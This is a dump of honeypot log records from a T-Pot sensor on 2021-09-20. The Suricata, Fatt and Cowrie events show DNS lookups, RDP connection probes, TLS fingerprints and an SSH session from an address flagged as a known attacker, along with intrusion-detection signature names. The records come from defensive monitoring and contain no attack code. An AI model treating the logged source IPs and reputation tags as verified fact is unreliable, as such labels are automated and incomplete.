30919	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:00.482049+03	2021-09-20 14:45:03.802142+03	{"_id": "HwYBA3wBvYTbRNuEekC7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4232, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "debian.map.fastlydns.net", "rrtype": "A", "answers": [{"ttl": 30, "rdata": "199.232.138.132", "rrname": "debian.map.fastlydns.net", "rrtype": "A"}], "grouped": {"A": ["199.232.138.132"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1648554260046063, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46288, "timestamp": "2021-09-20T11:40:00.482049Z", "@timestamp": "2021-09-20T11:40:00.482Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30920	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:00.510688+03	2021-09-20 14:45:03.803143+03	{"_id": "IAYBA3wBvYTbRNuEe0DM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "199.232.138.132", "@version": "1", "protocol": "http", "src_port": 34356, "dest_port": 80, "fatt_http": {"userAgent": "Debian APT-HTTP/1.3 (1.8.2.3)", "requestURI": "/debian-security/dists/buster/updates/InRelease", "requestMethod": "GET", "requestFullURI": "http://security.debian.org/debian-security/dists/buster/updates/InRelease", "requestVersion": "HTTP/1.1", "clientHeaderHash": "f04437e756450fb5c8740b44ff4a25be", "clientHeaderOrder": "host,cache_control,accept,user_agent"}, "timestamp": "2021-09-20T11:40:00.510688", "@timestamp": "2021-09-20T11:40:00.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
30921	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:14.920125+03	2021-09-20 14:45:03.805142+03	{"_id": "TAYBA3wBvYTbRNuEsUBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 396416675383554, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 60401, "timestamp": "2021-09-20T11:40:14.920125Z", "@timestamp": "2021-09-20T11:40:14.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30922	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:40:14.898189+03	2021-09-20 14:45:03.806142+03	{"_id": "TQYBA3wBvYTbRNuEskCC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 60401, "dest_port": 3389, "timestamp": "2021-09-20T11:40:14.898189", "@timestamp": "2021-09-20T11:40:14.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30923	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:39:55.066515+03	2021-09-20 14:45:03.807142+03	{"_id": "AQYBA3wBvYTbRNuEZEBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35500, "timestamp": "2021-09-20T11:39:55.066515", "@timestamp": "2021-09-20T11:39:55.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30924	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:55.026368+03	2021-09-20 14:45:03.808142+03	{"_id": "AAYBA3wBvYTbRNuEZEBa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35500, "dest_port": 443, "timestamp": "2021-09-20T11:39:55.026368", "@timestamp": "2021-09-20T11:39:55.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30926	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:05.000191+03	2021-09-20 14:45:03.811145+03	{"_id": "WQYBA3wBvYTbRNuEyEDh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1134446670990986, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 64762, "timestamp": "2021-09-20T11:40:05.000191Z", "@timestamp": "2021-09-20T11:40:05.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30927	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:40:23.486145+03	2021-09-20 14:45:03.812143+03	{"_id": "aAYBA3wBvYTbRNuE1ECb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 67454393342525, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 8187, "dest_port": 3389, "timestamp": "2021-09-20T11:40:23.486145Z", "@timestamp": "2021-09-20T11:40:23.486Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30928	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:40:23.595997+03	2021-09-20 14:45:03.813144+03	{"_id": "aQYBA3wBvYTbRNuE1ECb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 67454393342525, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 8187, "dest_port": 3389, "timestamp": "2021-09-20T11:40:23.595997Z", "@timestamp": "2021-09-20T11:40:23.595Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30929	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:40:23.595997+03	2021-09-20 14:45:03.815142+03	{"_id": "ZwYBA3wBvYTbRNuE1ECb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 67454393342525, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 8187, "dest_port": 3389, "timestamp": "2021-09-20T11:40:23.595997Z", "@timestamp": "2021-09-20T11:40:23.595Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30930	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:40:23.486145+03	2021-09-20 14:45:03.816142+03	{"_id": "agYBA3wBvYTbRNuE1UCu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 8187, "dest_port": 3389, "timestamp": "2021-09-20T11:40:23.486145", "@timestamp": "2021-09-20T11:40:23.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30931	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:24.511425+03	2021-09-20 14:45:03.818142+03	{"_id": "bAYBA3wBvYTbRNuE1kDl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "02b3ce6f19cc", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:40:24.511425Z", "@timestamp": "2021-09-20T11:40:24.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30932	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:40:24.768843+03	2021-09-20 14:45:03.819143+03	{"_id": "bgYBA3wBvYTbRNuE2ECE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:40:23.253086+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1924484435532958, "payload": "AAADVAUUJcETUvciWcXiPK8Zh6GrwQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADiET8u6Q==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24454, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:40:24.768843Z", "@timestamp": "2021-09-20T11:40:24.768Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..%..R.\\"Y..<..........ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none...............?.."}}	1	\N	\N	alert	known attacker	\N
30933	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:24.512059+03	2021-09-20 14:45:03.820142+03	{"_id": "bwYBA3wBvYTbRNuE2UCX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 24454, "timestamp": "2021-09-20T11:40:24.512059", "@timestamp": "2021-09-20T11:40:24.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30934	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:40:23.486145+03	2021-09-20 14:45:03.821142+03	{"_id": "ZgYBA3wBvYTbRNuE1ECb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 67454393342525, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 8187, "dest_port": 3389, "timestamp": "2021-09-20T11:40:23.486145Z", "@timestamp": "2021-09-20T11:40:23.486Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30935	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:24.508346+03	2021-09-20 14:45:03.823141+03	{"_id": "awYBA3wBvYTbRNuE1kDl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:24454 (192.168.176.2:22) [session: 02b3ce6f19cc]", "session": "02b3ce6f19cc", "@version": "1", "protocol": "ssh", "src_port": 24454, "dest_port": 22, "timestamp": "2021-09-20T11:40:24.508346Z", "@timestamp": "2021-09-20T11:40:24.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30936	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:40:24.768752+03	2021-09-20 14:45:03.825142+03	{"_id": "bQYBA3wBvYTbRNuE2ECD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1924484435532958, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24454, "dest_port": 22, "timestamp": "2021-09-20T11:40:24.768752Z", "@timestamp": "2021-09-20T11:40:24.768Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
